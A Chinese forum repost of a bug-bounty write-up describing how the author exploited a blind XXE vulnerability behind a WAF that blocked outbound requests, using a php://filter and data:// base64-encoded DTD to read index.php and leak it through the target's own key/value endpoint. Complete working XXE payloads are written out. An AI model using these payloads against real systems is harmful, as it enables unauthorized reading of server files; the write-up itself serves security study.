绕过WAF的OOB-XXE

k1   ·   发表于 2019-08-12 11:05:58   ·   漏洞文章

Hello hackers,

几个星期前,我发布推文称挖到了一个XML实体注入漏洞。这个漏洞的挖掘非常艰难,目标应用程序的WAF封锁了所有对外的请求,包括DNS查询。所以在这里,我向你分享这个有趣的挖洞故事。

由于这是一个私人项目,不便透露站点信息,请见谅。

和往常一样,我在夜里开始黑客工作。在目标站点上收集信息时,我碰到了一个参数为xml的端点,参数内容做了加密处理。进一步分析,我发现这个发往后端的XML数据是在前端做的加密处理,这意味着后端验证机制可能无法正确地验证数据。现在我的想法是更改数据,插入XXE Payload。接下来我需要找到用于加密的JavaScript函数,然后构造Payload。然而,目标应用使用WebPack对JavaScript做了优化缩小处理,我难以读取和跟踪函数。

后来,我想了个办法来避免麻烦,我可以用Chrome DevTools添加断点调试JS,通过这点,我可以在XML数据被加密函数处理前之前更改它。

现在我可以发送自定义的XML数据,并且尝试加入通用的XXE Payload。但端点没有返回任何有效响应,除了当XML存在错误时,它会返回“Error while parsing XML(解析XML数据时出错)”。

我注意到一个奇怪的事,在我使用GET方式向服务器发送带有外部实体的XXE Payload时,该端点需要很长时间才会返回“Error while parsing XML”,并且我的监听器未收到任何请求。但如果我把URL地址设为http://localhost/时,端点快速响应并且没有返回如何错误。

由此,我可以确定应用处于WAF保护下,并且WAF会阻止服务器向外发送请求。所以我想的第一件事就是尝试不同端口,但失败了,我还尝试了DNS查询,监听器仍没有反应。

现在我可以确定存在XXE漏洞,只是它除了可以扫描内部网络的端口,做不了其他事。但是,WAF既然不阻止对内部网络的访问,这就意味着我可以尝试添加URLhttp://target/作为可以正常响应的外部实体。我有一个想法,我需要找到一个无需cookie验证并且使用GET方法传递参数并且我可以在目标站点上公开查看的端点。这个应用程序很配合,它几乎没怎么使用cookie,而是用SID参数(用户token)来验证用户身份。

考虑到这一点,我开始寻找存在三个参数(sid,key,val)的端点,它会把keyval参数保存到特定sid值的用户账户中,以便稍后我们访问查看。

现在要创建一个外部实体,然后发送GET请求至http://target/endpoint.php?sid=[session_id]&key=xxe&val=test,然后访问相同端点,查看xxetest的值是否有回显。我简单地构造了下面这个XXE Payload:

<!DOCTYPE foo [     <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "http://target/endpoint.php?sid=[session_id]&key=xxe&val=test">]><paramlimits>
  <component name="L1" min="2" max="100">&xxe;</component></paramlimits>

然后访问http://target/endpoint.php?sid=[session_id],发现这两个值有回显,这意味着服务器内部可以通过该请求来获取实体。

Ok,目前思路很清晰,我已经获得了XXE的漏洞概念证明。但是我想进一步分析,看看是否可以读到本地文件。

为了读取文件,我们需要创建一个获取文件的参数实体,然后用另一个实体把第一个实体作为val的参数值。为此,我必须用到外部服务器的dtd文件,但防火墙会阻止向外发送请求,我不可能做到这点。

我没有放弃,仍在思考WAF的事情。我想到一个办法,找出一个文件上传端点,然后上传自定义的dtd文件,但是没有上传功能。后来我发现目标应用使用php语言编写,或许可以使用php:// wrapper(包装器)URI来获取我插入在data://中的dtd数据。

构造外部dtdURL:

php://filter//resource=data://text/plain;base64,PCFFTlRJVFkgJSBkYXRhIFNZU1RFTSAicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT1maWxlOi8vL0Q6L3BhdGgvaW5kZXgucGhwIj4NCjwhRU5USVRZICUgcGFyYW0xICc8IUVOVElUWSBleGZpbCBTWVNURU0gImh0dHA6Ly90YXJnZXQvZW5kcG9pbnQucGhwP3NpZD1bc2Vzc2lvbl9pZF0mIzM4O2tleT14eGUmIzM4O3ZhbD0lZGF0YTsiPic+

当解析器接触到XML数据时,它变成:

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=file:///D:/path/index.php">
<!ENTITY % param1 '<!ENTITY exfil SYSTEM "http://target/endpoint.php?sid=[session_id]&key=xxe&val=%data;">'>

PS:这里我还使用了php://filter/convert.base64-encode/Base64编码index.php内容,以便更好地读取。

下面是完整的Payload:

<!DOCTYPE r [  <!ELEMENT r ANY >
  <!ENTITY % sp SYSTEM "php://filter//resource=data://text/plain;base64,PCFFTlRJVFkgJSBkYXRhIFNZU1RFTSAicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT1maWxlOi8vL0Q6L3BhdGgvaW5kZXgucGhwIj4NCjwhRU5USVRZICUgcGFyYW0xICc8IUVOVElUWSBleGZpbCBTWVNURU0gImh0dHA6Ly90YXJnZXQvZW5kcG9pbnQucGhwP3NpZD1bc2Vzc2lvbl9pZF0mIzM4O2tleT14eGUmIzM4O3ZhbD0lZGF0YTsiPic+"> %sp; %param1;
]><paramlimits>
  <component name="L1" min="2" max="100">&exfil;</component></paramlimits>

然后访问http://target/endpoint.php?sid=[session_id],可以看到经Base64编码的index.php的内容

故事就是这样,最后,如果你有如何疑问,请不要害羞,可以通过推特私信与我交流@Zombiehelp54


转自先知社区

打赏我,让我更有动力~

1 条回复   |  直到 2019-8-12 | 1786 次浏览

gmamba
发表于 2019-8-12

那有什么防护建议吗? 还是和普通的xxe一样的防护吗?

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.